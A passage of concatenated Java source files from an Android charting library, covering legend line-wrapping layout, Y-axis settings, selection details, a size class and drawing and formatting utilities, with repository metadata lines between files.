ArrayList<FSize> calculatedLineSizes = new ArrayList<>();
// Start calculating layout
float maxLineWidth = 0.f;
float currentLineWidth = 0.f;
float requiredWidth = 0.f;
int stackedStartIndex = -1;
for (int i = 0; i < labelCount; i++) {
boolean drawingForm = mColors[i] != ColorTemplate.COLOR_SKIP;
calculatedLabelBreakPoints.add(false);
if (stackedStartIndex == -1) {
// we are not stacking, so required width is for this label
// only
requiredWidth = 0.f;
}
else {
// add the spacing appropriate for stacked labels/forms
requiredWidth += mStackSpace;
}
// grouped forms have null labels
if (mLabels[i] != null) {
calculatedLabelSizes.add(Utils.calcTextSize(labelpaint, mLabels[i]));
requiredWidth += drawingForm ? mFormToTextSpace + mFormSize : 0.f;
requiredWidth += calculatedLabelSizes.get(i).width;
}
else {
calculatedLabelSizes.add(new FSize(0.f, 0.f));
requiredWidth += drawingForm ? mFormSize : 0.f;
if (stackedStartIndex == -1) {
// mark this index as we might want to break here later
stackedStartIndex = i;
}
}
if (mLabels[i] != null || i == labelCount - 1) {
float requiredSpacing = currentLineWidth == 0.f ? 0.f : mXEntrySpace;
if (!mWordWrapEnabled // No word wrapping, it must fit.
// The line is empty, it must fit
|| currentLineWidth == 0.f
// It simply fits
|| (contentWidth - currentLineWidth >=
requiredSpacing + requiredWidth)) {
// Expand current line
currentLineWidth += requiredSpacing + requiredWidth;
}
else { // It doesn't fit, we need to wrap a line
// Add current line size to array
calculatedLineSizes.add(new FSize(currentLineWidth, labelLineHeight));
maxLineWidth = Math.max(maxLineWidth, currentLineWidth);
// Start a new line
calculatedLabelBreakPoints.set(
stackedStartIndex > -1 ? stackedStartIndex
: i, true);
currentLineWidth = requiredWidth;
}
if (i == labelCount - 1) {
// Add last line size to array
calculatedLineSizes.add(new FSize(currentLineWidth, labelLineHeight));
maxLineWidth = Math.max(maxLineWidth, currentLineWidth);
}
}
stackedStartIndex = mLabels[i] != null ? -1 : stackedStartIndex;
}
mCalculatedLabelSizes = calculatedLabelSizes.toArray(
new FSize[calculatedLabelSizes.size()]);
mCalculatedLabelBreakPoints = calculatedLabelBreakPoints
.toArray(new Boolean[calculatedLabelBreakPoints.size()]);
mCalculatedLineSizes = calculatedLineSizes
.toArray(new FSize[calculatedLineSizes.size()]);
mNeededWidth = maxLineWidth;
mNeededHeight = labelLineHeight
* (float) (mCalculatedLineSizes.length)
+ labelLineSpacing *
(float) (mCalculatedLineSizes.length == 0
? 0
: (mCalculatedLineSizes.length - 1));
break;
}
}
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/components/Legend.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 6,506 |
```java
package com.github.mikephil.charting.components;
import android.graphics.Color;
import android.graphics.Paint;
import com.github.mikephil.charting.formatter.DefaultValueFormatter;
import com.github.mikephil.charting.formatter.DefaultYAxisValueFormatter;
import com.github.mikephil.charting.formatter.YAxisValueFormatter;
import com.github.mikephil.charting.utils.Utils;
/**
* Class representing the y-axis labels settings and its entries. Only use the setter methods to
* modify it. Do not
* access public variables directly. Be aware that not all features the YLabels class provides
* are suitable for the
* RadarChart. Customizations that affect the value range of the axis need to be applied before
* setting data for the
* chart.
*
* @author Philipp Jahoda
*/
public class YAxis extends AxisBase {
/**
* custom formatter that is used instead of the auto-formatter if set
*/
protected YAxisValueFormatter mYAxisValueFormatter;
/**
* the actual array of entries
*/
public float[] mEntries = new float[]{};
/**
* the number of entries the legend contains
*/
public int mEntryCount;
/**
* the number of decimal digits to use
*/
public int mDecimals;
/**
* the number of y-label entries the y-labels should have, default 6
*/
private int mLabelCount = 6;
/**
* indicates if the top y-label entry is drawn or not
*/
private boolean mDrawTopYLabelEntry = true;
/**
* if true, the y-labels show only the minimum and maximum value
*/
protected boolean mShowOnlyMinMax = false;
/**
* flag that indicates if the axis is inverted or not
*/
protected boolean mInverted = false;
/**
* if true, the set number of y-labels will be forced
*/
protected boolean mForceLabels = false;
/**
* flag that indicates if the zero-line should be drawn regardless of other grid lines
*/
protected boolean mDrawZeroLine = false;
/**
* Color of the zero line
*/
protected int mZeroLineColor = Color.GRAY;
/**
* Width of the zero line in pixels
*/
protected float mZeroLineWidth = 1f;
/**
* axis space from the largest value to the top in percent of the total axis range
*/
protected float mSpacePercentTop = 10f;
/**
* axis space from the smallest value to the bottom in percent of the total axis range
*/
protected float mSpacePercentBottom = 10f;
/**
* the position of the y-labels relative to the chart
*/
private YAxisLabelPosition mPosition = YAxisLabelPosition.OUTSIDE_CHART;
/**
* enum for the position of the y-labels relative to the chart
*/
public enum YAxisLabelPosition {
OUTSIDE_CHART, INSIDE_CHART
}
/**
* the side this axis object represents
*/
private AxisDependency mAxisDependency;
/**
* the minimum width that the axis should take (in dp).
* <p/>
* default: 0.0
*/
protected float mMinWidth = 0.f;
/**
* the maximum width that the axis can take (in dp).
* use Inifinity for disabling the maximum
* default: Float.POSITIVE_INFINITY (no maximum specified)
*/
protected float mMaxWidth = Float.POSITIVE_INFINITY;
/**
* When true, axis labels are controlled by the `granularity` property.
* When false, axis values could possibly be repeated.
* This could happen if two adjacent axis values are rounded to same value.
* If using granularity this could be avoided by having fewer axis values visible.
*/
protected boolean mGranularityEnabled = false;
/**
* the minimum interval between axis values
*/
protected float mGranularity = 1.0f;
/**
* Enum that specifies the axis a DataSet should be plotted against, either LEFT or RIGHT.
*
* @author Philipp Jahoda
*/
public enum AxisDependency {
LEFT, RIGHT
}
public YAxis() {
super();
// default left
this.mAxisDependency = AxisDependency.LEFT;
this.mYOffset = 0f;
}
public YAxis(AxisDependency position) {
super();
this.mAxisDependency = position;
this.mYOffset = 0f;
}
public AxisDependency getAxisDependency() {
return mAxisDependency;
}
/**
* @return the minimum width that the axis should take (in dp).
*/
public float getMinWidth() {
return mMinWidth;
}
/**
* Sets the minimum width that the axis should take (in dp).
*
* @param minWidth
*/
public void setMinWidth(float minWidth) {
mMinWidth = minWidth;
}
/**
* @return the maximum width that the axis can take (in dp).
*/
public float getMaxWidth() {
return mMaxWidth;
}
/**
* Sets the maximum width that the axis can take (in dp).
*
* @param maxWidth
*/
public void setMaxWidth(float maxWidth) {
mMaxWidth = maxWidth;
}
/**
* @return true if granularity is enabled
*/
public boolean isGranularityEnabled() {
return mGranularityEnabled;
}
/**
* Enabled/disable granularity control on axis value intervals. If enabled, the axis
* interval is not allowed to go below a certain granularity. Default: false
*
* @param enabled
*/
public void setGranularityEnabled(boolean enabled) {
mGranularityEnabled = true;
}
/**
* @return the minimum interval between axis values
*/
public float getGranularity() {
return mGranularity;
}
/**
* Set a minimum interval for the axis when zooming in. The axis is not allowed to go below
* that limit. This can be used to avoid label duplicating when zooming in.
*
* @param granularity
*/
public void setGranularity(float granularity) {
mGranularity = granularity;
// set this to true if it was disabled, as it makes no sense to call this method with granularity disabled
mGranularityEnabled = true;
}
/**
* returns the position of the y-labels
*/
public YAxisLabelPosition getLabelPosition() {
return mPosition;
}
/**
* sets the position of the y-labels
*
* @param pos
*/
public void setPosition(YAxisLabelPosition pos) {
mPosition = pos;
}
/**
* returns true if drawing the top y-axis label entry is enabled
*
* @return
*/
public boolean isDrawTopYLabelEntryEnabled() {
return mDrawTopYLabelEntry;
}
/**
* set this to true to enable drawing the top y-label entry. Disabling this can be helpful
* when the top y-label and
* left x-label interfere with each other. default: true
*
* @param enabled
*/
public void setDrawTopYLabelEntry(boolean enabled) {
mDrawTopYLabelEntry = enabled;
}
/**
* sets the number of label entries for the y-axis max = 25, min = 2, default: 6, be aware
* that this number is not
* fixed (if force == false) and can only be approximated.
*
* @param count the number of y-axis labels that sould be displayed
* @param force if enabled, the set label count will be forced, meaning that the exact
* specified count of labels will
* be drawn and evenly distributed alongside the axis - this might cause labels
* to have uneven values
*/
public void setLabelCount(int count, boolean force) {
if (count > 25)
count = 25;
if (count < 2)
count = 2;
mLabelCount = count;
mForceLabels = force;
}
/**
* Returns the number of label entries the y-axis should have
*
* @return
*/
public int getLabelCount() {
return mLabelCount;
}
/**
* Returns true if focing the y-label count is enabled. Default: false
*
* @return
*/
public boolean isForceLabelsEnabled() {
return mForceLabels;
}
/**
* If enabled, the YLabels will only show the minimum and maximum value of the chart. This
* will ignore/override the
* set label count.
*
* @param enabled
*/
public void setShowOnlyMinMax(boolean enabled) {
mShowOnlyMinMax = enabled;
}
/**
* Returns true if showing only min and max value is enabled.
*
* @return
*/
public boolean isShowOnlyMinMaxEnabled() {
return mShowOnlyMinMax;
}
/**
* If this is set to true, the y-axis is inverted which means that low values are on top of
* the chart, high values
* on bottom.
*
* @param enabled
*/
public void setInverted(boolean enabled) {
mInverted = enabled;
}
/**
* If this returns true, the y-axis is inverted.
*
* @return
*/
public boolean isInverted() {
return mInverted;
}
/**
* @deprecated Kept for backward compatibility.
* This method is deprecated.
* Use setAxisMinValue(...) / setAxisMaxValue(...) instead.
*
* @param startAtZero
*/
@Deprecated
public void setStartAtZero(boolean startAtZero) {
if (startAtZero)
setAxisMinValue(0f);
else
resetAxisMinValue();
}
/**
* Sets the top axis space in percent of the full range. Default 10f
*
* @param percent
*/
public void setSpaceTop(float percent) {
mSpacePercentTop = percent;
}
/**
* Returns the top axis space in percent of the full range. Default 10f
*
* @return
*/
public float getSpaceTop() {
return mSpacePercentTop;
}
/**
* Sets the bottom axis space in percent of the full range. Default 10f
*
* @param percent
*/
public void setSpaceBottom(float percent) {
mSpacePercentBottom = percent;
}
/**
* Returns the bottom axis space in percent of the full range. Default 10f
*
* @return
*/
public float getSpaceBottom() {
return mSpacePercentBottom;
}
public boolean isDrawZeroLineEnabled() {
return mDrawZeroLine;
}
/**
* Set this to true to draw the zero-line regardless of weather other
* grid-lines are enabled or not. Default: false
*
* @param mDrawZeroLine
*/
public void setDrawZeroLine(boolean mDrawZeroLine) {
this.mDrawZeroLine = mDrawZeroLine;
}
public int getZeroLineColor() {
return mZeroLineColor;
}
/**
* Sets the color of the zero line
*
* @param color
*/
public void setZeroLineColor(int color) {
mZeroLineColor = color;
}
public float getZeroLineWidth() {
return mZeroLineWidth;
}
/**
* Sets the width of the zero line in dp
*
* @param width
*/
public void setZeroLineWidth(float width) {
this.mZeroLineWidth = Utils.convertDpToPixel(width);
}
/**
* This is for normal (not horizontal) charts horizontal spacing.
*
* @param p
* @return
*/
public float getRequiredWidthSpace(Paint p) {
p.setTextSize(mTextSize);
String label = getLongestLabel();
float width = (float) Utils.calcTextWidth(p, label) + getXOffset() * 2f;
float minWidth = getMinWidth();
float maxWidth = getMaxWidth();
if (minWidth > 0.f)
minWidth = Utils.convertDpToPixel(minWidth);
if (maxWidth > 0.f && maxWidth != Float.POSITIVE_INFINITY)
maxWidth = Utils.convertDpToPixel(maxWidth);
width = Math.max(minWidth, Math.min(width, maxWidth > 0.0 ? maxWidth : width));
return width;
}
/**
* This is for HorizontalBarChart vertical spacing.
*
* @param p
* @return
*/
public float getRequiredHeightSpace(Paint p) {
p.setTextSize(mTextSize);
String label = getLongestLabel();
return (float) Utils.calcTextHeight(p, label) + getYOffset() * 2f;
}
@Override
public String getLongestLabel() {
String longest = "";
for (int i = 0; i < mEntries.length; i++) {
String text = getFormattedLabel(i);
if (longest.length() < text.length())
longest = text;
}
return longest;
}
/**
* Returns the formatted y-label at the specified index. This will either use the
* auto-formatter or the custom
* formatter (if one is set).
*
* @param index
* @return
*/
public String getFormattedLabel(int index) {
if (index < 0 || index >= mEntries.length)
return "";
else
return getValueFormatter().getFormattedValue(mEntries[index], this);
}
/**
* Sets the formatter to be used for formatting the axis labels. If no formatter is set, the
* chart will
* automatically determine a reasonable formatting (concerning decimals) for all the values
* that are drawn inside
* the chart. Use chart.getDefaultValueFormatter() to use the formatter calculated by the chart.
*
* @param f
*/
public void setValueFormatter(YAxisValueFormatter f) {
if (f == null)
mYAxisValueFormatter = new DefaultYAxisValueFormatter(mDecimals);
else
mYAxisValueFormatter = f;
}
/**
* Returns the formatter used for formatting the axis labels.
*
* @return
*/
public YAxisValueFormatter getValueFormatter() {
if (mYAxisValueFormatter == null)
mYAxisValueFormatter = new DefaultYAxisValueFormatter(mDecimals);
return mYAxisValueFormatter;
}
/**
* If this component has no YAxisValueFormatter or is only equipped with the default one (no
* custom set), return true.
*
* @return
*/
public boolean needsDefaultFormatter() {
if (mYAxisValueFormatter == null)
return true;
if (mYAxisValueFormatter instanceof DefaultValueFormatter)
return true;
return false;
}
/**
* Returns true if this axis needs horizontal offset, false if no offset is needed.
*
* @return
*/
public boolean needsOffset() {
return (isEnabled() && isDrawLabelsEnabled() && getLabelPosition() == YAxisLabelPosition
.OUTSIDE_CHART);
}
/**
* Calculates the minimum, maximum, granularity and range values of the YAxis with the given
* minimum and maximum values from the chart data.
*
* @param dataMin the y-min value according to chart data
* @param dataMax the y-max value according to chart data
*/
public void calculate(float dataMin, float dataMax) {
// if custom, use value as is, else use data value
float min = mCustomAxisMin ? mAxisMinimum : dataMin;
float max = mCustomAxisMax ? mAxisMaximum : dataMax;
// temporary range (before calculations)
float range = Math.abs(max - min);
// in case all values are equal
if (range == 0f) {
max = max + 1f;
min = min - 1f;
}
// bottom-space only effects non-custom min
if (!mCustomAxisMin) {
float bottomSpace = range / 100f * getSpaceBottom();
this.mAxisMinimum = (min - bottomSpace);
}
// top-space only effects non-custom max
if (!mCustomAxisMax) {
float topSpace = range / 100f * getSpaceTop();
this.mAxisMaximum = (max + topSpace);
}
// calc actual range
this.mAxisRange = Math.abs(this.mAxisMaximum - this.mAxisMinimum);
// // in case granularity is not customized, auto-calculate it
// if (!mCustomGranularity && mGranularityEnabled) {
//
// double granularity = Utils.granularity(mAxisRange, mLabelCount);
// this.mGranularity = (float) granularity;
// }
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/components/YAxis.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 3,749 |
```java
package com.github.mikephil.charting.utils;
import com.github.mikephil.charting.interfaces.datasets.IDataSet;
/**
* Class that encapsulates information of a value that has been
* selected/highlighted and its DataSet index. The SelectionDetail objects give
* information about the value at the selected index and the DataSet it belongs
* to. Needed only for highlighting onTouch().
*
* @author Philipp Jahoda
*/
public class SelectionDetail {
public float y;
public float value;
public int dataIndex;
public int dataSetIndex;
public IDataSet dataSet;
public SelectionDetail(float y, float value, int dataIndex, int dataSetIndex, IDataSet set) {
this.y = y;
this.value = value;
this.dataIndex = dataIndex;
this.dataSetIndex = dataSetIndex;
this.dataSet = set;
}
public SelectionDetail(float y, float value, int dataSetIndex, IDataSet set) {
this(y, value, 0, dataSetIndex, set);
}
public SelectionDetail(float value, int dataSetIndex, IDataSet set) {
this(Float.NaN, value, 0, dataSetIndex, set);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/SelectionDetail.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 248 |
```java
package com.github.mikephil.charting.utils;
/**
* Immutable class for describing width and height dimensions in some arbitrary
* unit. Replacement for the android.Util.SizeF which is available only on API >= 21.
*/
public final class FSize {
public final float width;
public final float height;
public FSize(final float width, final float height) {
this.width = width;
this.height = height;
}
@Override
public boolean equals(final Object obj) {
if (obj == null) {
return false;
}
if (this == obj) {
return true;
}
if (obj instanceof FSize) {
final FSize other = (FSize) obj;
return width == other.width && height == other.height;
}
return false;
}
@Override
public String toString() {
return width + "x" + height;
}
/**
* {@inheritDoc}
*/
@Override
public int hashCode() {
return Float.floatToIntBits(width) ^ Float.floatToIntBits(height);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/FSize.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 232 |
```java
package com.github.mikephil.charting.utils;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.res.Resources;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.PointF;
import android.graphics.Rect;
import android.os.Build;
import android.text.Layout;
import android.text.StaticLayout;
import android.text.TextPaint;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.MotionEvent;
import android.view.VelocityTracker;
import android.view.View;
import android.view.ViewConfiguration;
import com.github.mikephil.charting.components.YAxis.AxisDependency;
import com.github.mikephil.charting.formatter.DefaultValueFormatter;
import com.github.mikephil.charting.formatter.ValueFormatter;
import java.util.List;
/**
* Utilities class that has some helper methods. Needs to be initialized by
* calling Utils.init(...) before usage. Inside the Chart.init() method, this is
* done, if the Utils are used before that, Utils.init(...) needs to be called
* manually.
*
* @author Philipp Jahoda
*/
public abstract class Utils {
private static DisplayMetrics mMetrics;
private static int mMinimumFlingVelocity = 50;
private static int mMaximumFlingVelocity = 8000;
public static final double DEG2RAD = (Math.PI / 180.0);
public static final float FDEG2RAD = ((float) Math.PI / 180.f);
/**
* Prevent class instantiation.
*/
private Utils() {
}
/**
* initialize method, called inside the Chart.init() method.
*
* @param context
*/
@SuppressWarnings("deprecation")
public static void init(Context context) {
if (context == null) {
// noinspection deprecation
mMinimumFlingVelocity = ViewConfiguration.getMinimumFlingVelocity();
// noinspection deprecation
mMaximumFlingVelocity = ViewConfiguration.getMaximumFlingVelocity();
Log.e("MPChartLib-Utils"
, "Utils.init(...) PROVIDED CONTEXT OBJECT IS NULL");
} else {
ViewConfiguration viewConfiguration = ViewConfiguration.get(context);
mMinimumFlingVelocity = viewConfiguration.getScaledMinimumFlingVelocity();
mMaximumFlingVelocity = viewConfiguration.getScaledMaximumFlingVelocity();
Resources res = context.getResources();
mMetrics = res.getDisplayMetrics();
}
}
/**
* @deprecated Kept for backward compatibility.
* initialize method, called inside the Chart.init() method. backwards
* compatibility - to not break existing code
*
* @param res
*/
@Deprecated
public static void init(Resources res) {
mMetrics = res.getDisplayMetrics();
// noinspection deprecation
mMinimumFlingVelocity = ViewConfiguration.getMinimumFlingVelocity();
// noinspection deprecation
mMaximumFlingVelocity = ViewConfiguration.getMaximumFlingVelocity();
}
/**
* This method converts dp unit to equivalent pixels, depending on device
* density. NEEDS UTILS TO BE INITIALIZED BEFORE USAGE.
*
* @param dp A value in dp (density independent pixels) unit. Which we need
* to convert into pixels
* @return A float value to represent px equivalent to dp depending on
* device density
*/
public static float convertDpToPixel(float dp) {
if (mMetrics == null) {
Log.e("MPChartLib-Utils",
"Utils NOT INITIALIZED. You need to call Utils.init(...) at least once before" +
" calling Utils.convertDpToPixel(...). Otherwise conversion does not " +
"take place.");
return dp;
// throw new IllegalStateException(
// "Utils NOT INITIALIZED. You need to call Utils.init(...) at least once before
// calling Utils.convertDpToPixel(...).");
}
DisplayMetrics metrics = mMetrics;
return dp * (metrics.densityDpi / 160f);
}
/**
* This method converts device specific pixels to density independent
* pixels. NEEDS UTILS TO BE INITIALIZED BEFORE USAGE.
*
* @param px A value in px (pixels) unit. Which we need to convert into db
* @return A float value to represent dp equivalent to px value
*/
public static float convertPixelsToDp(float px) {
if (mMetrics == null) {
Log.e("MPChartLib-Utils",
"Utils NOT INITIALIZED. You need to call Utils.init(...) at least once before" +
" calling Utils.convertPixelsToDp(...). Otherwise conversion does not" +
" take place.");
return px;
// throw new IllegalStateException(
// "Utils NOT INITIALIZED. You need to call Utils.init(...) at least once before
// calling Utils.convertPixelsToDp(...).");
}
DisplayMetrics metrics = mMetrics;
return px / (metrics.densityDpi / 160f);
}
/**
* calculates the approximate width of a text, depending on a demo text
* avoid repeated calls (e.g. inside drawing methods)
*
* @param paint
* @param demoText
* @return
*/
public static int calcTextWidth(Paint paint, String demoText) {
return (int) paint.measureText(demoText);
}
/**
* calculates the approximate height of a text, depending on a demo text
* avoid repeated calls (e.g. inside drawing methods)
*
* @param paint
* @param demoText
* @return
*/
public static int calcTextHeight(Paint paint, String demoText) {
Rect r = new Rect();
paint.getTextBounds(demoText, 0, demoText.length(), r);
return r.height();
}
public static float getLineHeight(Paint paint) {
Paint.FontMetrics metrics = paint.getFontMetrics();
return metrics.descent - metrics.ascent;
}
public static float getLineSpacing(Paint paint) {
Paint.FontMetrics metrics = paint.getFontMetrics();
return metrics.ascent - metrics.top + metrics.bottom;
}
/**
* calculates the approximate size of a text, depending on a demo text
* avoid repeated calls (e.g. inside drawing methods)
*
* @param paint
* @param demoText
* @return
*/
public static FSize calcTextSize(Paint paint, String demoText) {
Rect r = new Rect();
paint.getTextBounds(demoText, 0, demoText.length(), r);
return new FSize(r.width(), r.height());
}
/**
* Math.pow(...) is very expensive, so avoid calling it and create it
* yourself.
*/
private static final int[] POW_10 = {
1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000
};
/**
* Formats the given number to the given number of decimals, and returns the
* number as a string, maximum 35 characters. If thousands are separated, the separating
* character is a dot (".").
*
* @param number
* @param digitCount
* @param separateThousands set this to true to separate thousands values
* @return
*/
public static String formatNumber(float number, int digitCount, boolean separateThousands) {
return formatNumber(number, digitCount, separateThousands, '.');
}
/**
* Formats the given number to the given number of decimals, and returns the
* number as a string, maximum 35 characters.
*
* @param number
* @param digitCount
* @param separateThousands set this to true to separate thousands values
* @param separateChar a caracter to be paced between the "thousands"
* @return
*/
public static String formatNumber(float number, int digitCount, boolean separateThousands,
char separateChar) {
char[] out = new char[35];
boolean neg = false;
if (number == 0) {
return "0";
}
boolean zero = false;
if (number < 1 && number > -1) {
zero = true;
}
if (number < 0) {
neg = true;
number = -number;
}
if (digitCount > POW_10.length) {
digitCount = POW_10.length - 1;
}
number *= POW_10[digitCount];
long lval = Math.round(number);
int ind = out.length - 1;
int charCount = 0;
boolean decimalPointAdded = false;
while (lval != 0 || charCount < (digitCount + 1)) {
int digit = (int) (lval % 10);
lval = lval / 10;
out[ind--] = (char) (digit + '0');
charCount++;
// add decimal point
if (charCount == digitCount) {
out[ind--] = ',';
charCount++;
decimalPointAdded = true;
// add thousand separators
} else if (separateThousands && lval != 0 && charCount > digitCount) {
if (decimalPointAdded) {
if ((charCount - digitCount) % 4 == 0) {
out[ind--] = separateChar;
charCount++;
}
} else {
if ((charCount - digitCount) % 4 == 3) {
out[ind--] = separateChar;
charCount++;
}
}
}
}
// if number around zero (between 1 and -1)
if (zero) {
out[ind--] = '0';
charCount += 1;
}
// if the number is negative
if (neg) {
out[ind--] = '-';
charCount += 1;
}
int start = out.length - charCount;
// use this instead of "new String(...)" because of issue < Android 4.0
return String.valueOf(out, start, out.length - start);
}
/**
* rounds the given number to the next significant number
*
* @param number
* @return
*/
public static float roundToNextSignificant(double number) {
final float d = (float) Math.ceil((float) Math.log10(number < 0 ? -number : number));
final int pw = 1 - (int) d;
final float magnitude = (float) Math.pow(10, pw);
final long shifted = Math.round(number * magnitude);
return shifted / magnitude;
}
/**
* Returns the appropriate number of decimals to be used for the provided
* number.
*
* @param number
* @return
*/
public static int getDecimals(float number) {
float i = roundToNextSignificant(number);
return (int) Math.ceil(-Math.log10(i)) + 2;
}
/**
* Converts the provided Integer List to an int array.
*
* @param integers
* @return
*/
public static int[] convertIntegers(List<Integer> integers) {
int[] ret = new int[integers.size()];
for (int i = 0; i < ret.length; i++) {
ret[i] = integers.get(i).intValue();
}
return ret;
}
/**
* Converts the provided String List to a String array.
*
* @param strings
* @return
*/
public static String[] convertStrings(List<String> strings) {
String[] ret = new String[strings.size()];
for (int i = 0; i < ret.length; i++) {
ret[i] = strings.get(i);
}
return ret;
}
/**
* Replacement for the Math.nextUp(...) method that is only available in
* HONEYCOMB and higher. Dat's some seeeeek sheeet.
*
* @param d
* @return
*/
public static double nextUp(double d) {
if (d == Double.POSITIVE_INFINITY)
return d;
else {
d += 0.0d;
return Double.longBitsToDouble(Double.doubleToRawLongBits(d) +
((d >= 0.0d) ? +1L : -1L));
}
}
/**
* Returns the index of the DataSet that contains the closest value on the
* y-axis. This is needed for highlighting. This will return -Integer.MAX_VALUE if failure.
*
* @param valsAtIndex all the values at a specific index
* @return
*/
public static int getClosestDataSetIndexByValue(List<SelectionDetail> valsAtIndex, float value,
AxisDependency axis) {
SelectionDetail sel = getClosestSelectionDetailByValue(valsAtIndex, value, axis);
if (sel == null)
return -Integer.MAX_VALUE;
return sel.dataSetIndex;
}
/**
* Returns the index of the DataSet that contains the closest value on the
* y-axis. This is needed for highlighting. This will return -Integer.MAX_VALUE if failure.
*
* @param valsAtIndex all the values at a specific index
* @return
*/
public static int getClosestDataSetIndexByPixelY(List<SelectionDetail> valsAtIndex, float y,
AxisDependency axis) {
SelectionDetail sel = getClosestSelectionDetailByPixelY(valsAtIndex, y, axis);
if (sel == null)
return -Integer.MAX_VALUE;
return sel.dataSetIndex;
}
/**
* Returns the SelectionDetail of the DataSet that contains the closest value on the
* y-axis.
*
* @param valsAtIndex all the values at a specific index
* @return
*/
public static SelectionDetail getClosestSelectionDetailByValue(
List<SelectionDetail> valsAtIndex,
float value,
AxisDependency axis) {
SelectionDetail closest = null;
float distance = Float.MAX_VALUE;
for (int i = 0; i < valsAtIndex.size(); i++) {
SelectionDetail sel = valsAtIndex.get(i);
if (axis == null || sel.dataSet.getAxisDependency() == axis) {
float cdistance = Math.abs(sel.value - value);
if (cdistance < distance) {
closest = sel;
distance = cdistance;
}
}
}
return closest;
}
/**
* Returns the SelectionDetail of the DataSet that contains the closest value on the
* y-axis.
*
* @param valsAtIndex all the values at a specific index
* @return
*/
public static SelectionDetail getClosestSelectionDetailByPixelY(
List<SelectionDetail> valsAtIndex,
float y,
AxisDependency axis) {
SelectionDetail closest = null;
float distance = Float.MAX_VALUE;
for (int i = 0; i < valsAtIndex.size(); i++) {
SelectionDetail sel = valsAtIndex.get(i);
if (axis == null || sel.dataSet.getAxisDependency() == axis) {
float cdistance = Math.abs(sel.y - y);
if (cdistance < distance) {
closest = sel;
distance = cdistance;
}
}
}
return closest;
}
/**
* Returns the minimum distance from a touch-y-value (in pixels) to the
* closest y-value (in pixels) that is displayed in the chart.
*
* @param valsAtIndex
* @param y
* @param axis
* @return
*/
public static float getMinimumDistance(List<SelectionDetail> valsAtIndex,
float y,
AxisDependency axis) {
float distance = Float.MAX_VALUE;
for (int i = 0; i < valsAtIndex.size(); i++) {
SelectionDetail sel = valsAtIndex.get(i);
if (sel.dataSet.getAxisDependency() == axis) {
float cdistance = Math.abs(sel.y - y);
if (cdistance < distance) {
distance = cdistance;
}
}
}
return distance;
}
/**
* If this component has no ValueFormatter or is only equipped with the
* default one (no custom set), return true.
*
* @return
*/
public static boolean needsDefaultFormatter(ValueFormatter formatter) {
if (formatter == null)
return true;
if (formatter instanceof DefaultValueFormatter)
return true;
return false;
}
/**
* Calculates the position around a center point, depending on the distance
* from the center, and the angle of the position around the center.
*
* @param center
* @param dist
* @param angle in degrees, converted to radians internally
* @return
*/
public static PointF getPosition(PointF center, float dist, float angle) {
return new PointF((float) (center.x + dist * Math.cos(Math.toRadians(angle))),
(float) (center.y + dist * Math.sin(Math.toRadians(angle))));
}
public static void velocityTrackerPointerUpCleanUpIfNecessary(MotionEvent ev,
VelocityTracker tracker) {
// Check the dot product of current velocities.
// If the pointer that left was opposing another velocity vector, clear.
tracker.computeCurrentVelocity(1000, mMaximumFlingVelocity);
final int upIndex = ev.getActionIndex();
final int id1 = ev.getPointerId(upIndex);
final float x1 = tracker.getXVelocity(id1);
final float y1 = tracker.getYVelocity(id1);
for (int i = 0, count = ev.getPointerCount(); i < count; i++) {
if (i == upIndex)
continue;
final int id2 = ev.getPointerId(i);
final float x = x1 * tracker.getXVelocity(id2);
final float y = y1 * tracker.getYVelocity(id2);
final float dot = x + y;
if (dot < 0) {
tracker.clear();
break;
}
}
}
/**
* Original method view.postInvalidateOnAnimation() only supportd in API >=
* 16, This is a replica of the code from ViewCompat.
*
* @param view
*/
@SuppressLint("NewApi")
public static void postInvalidateOnAnimation(View view) {
if (Build.VERSION.SDK_INT >= 16)
view.postInvalidateOnAnimation();
else
view.postInvalidateDelayed(10);
}
public static int getMinimumFlingVelocity() {
return mMinimumFlingVelocity;
}
public static int getMaximumFlingVelocity() {
return mMaximumFlingVelocity;
}
/**
* returns an angle between 0.f < 360.f (not less than zero, less than 360)
*/
public static float getNormalizedAngle(float angle) {
while (angle < 0.f)
angle += 360.f;
return angle % 360.f;
}
private static Rect mDrawTextRectBuffer = new Rect();
private static Paint.FontMetrics mFontMetricsBuffer = new Paint.FontMetrics();
public static void drawXAxisValue(Canvas c, String text, float x, float y,
Paint paint,
PointF anchor, float angleDegrees) {
float drawOffsetX = 0.f;
float drawOffsetY = 0.f;
final float lineHeight = paint.getFontMetrics(mFontMetricsBuffer);
paint.getTextBounds(text, 0, text.length(), mDrawTextRectBuffer);
// Android sometimes has pre-padding
drawOffsetX -= mDrawTextRectBuffer.left;
// Android does not snap the bounds to line boundaries,
// and draws from bottom to top.
// And we want to normalize it.
drawOffsetY += -mFontMetricsBuffer.ascent;
// To have a consistent point of reference, we always draw left-aligned
Paint.Align originalTextAlign = paint.getTextAlign();
paint.setTextAlign(Paint.Align.LEFT);
if (angleDegrees != 0.f) {
// Move the text drawing rect in a way that it always rotates around its center
drawOffsetX -= mDrawTextRectBuffer.width() * 0.5f;
drawOffsetY -= lineHeight * 0.5f;
float translateX = x;
float translateY = y;
// Move the "outer" rect relative to the anchor, assuming its centered
if (anchor.x != 0.5f || anchor.y != 0.5f) {
final FSize rotatedSize = getSizeOfRotatedRectangleByDegrees(
mDrawTextRectBuffer.width(),
lineHeight,
angleDegrees);
translateX -= rotatedSize.width * (anchor.x - 0.5f);
translateY -= rotatedSize.height * (anchor.y - 0.5f);
}
c.save();
c.translate(translateX, translateY);
c.rotate(angleDegrees);
c.drawText(text, drawOffsetX, drawOffsetY, paint);
c.restore();
} else {
if (anchor.x != 0.f || anchor.y != 0.f) {
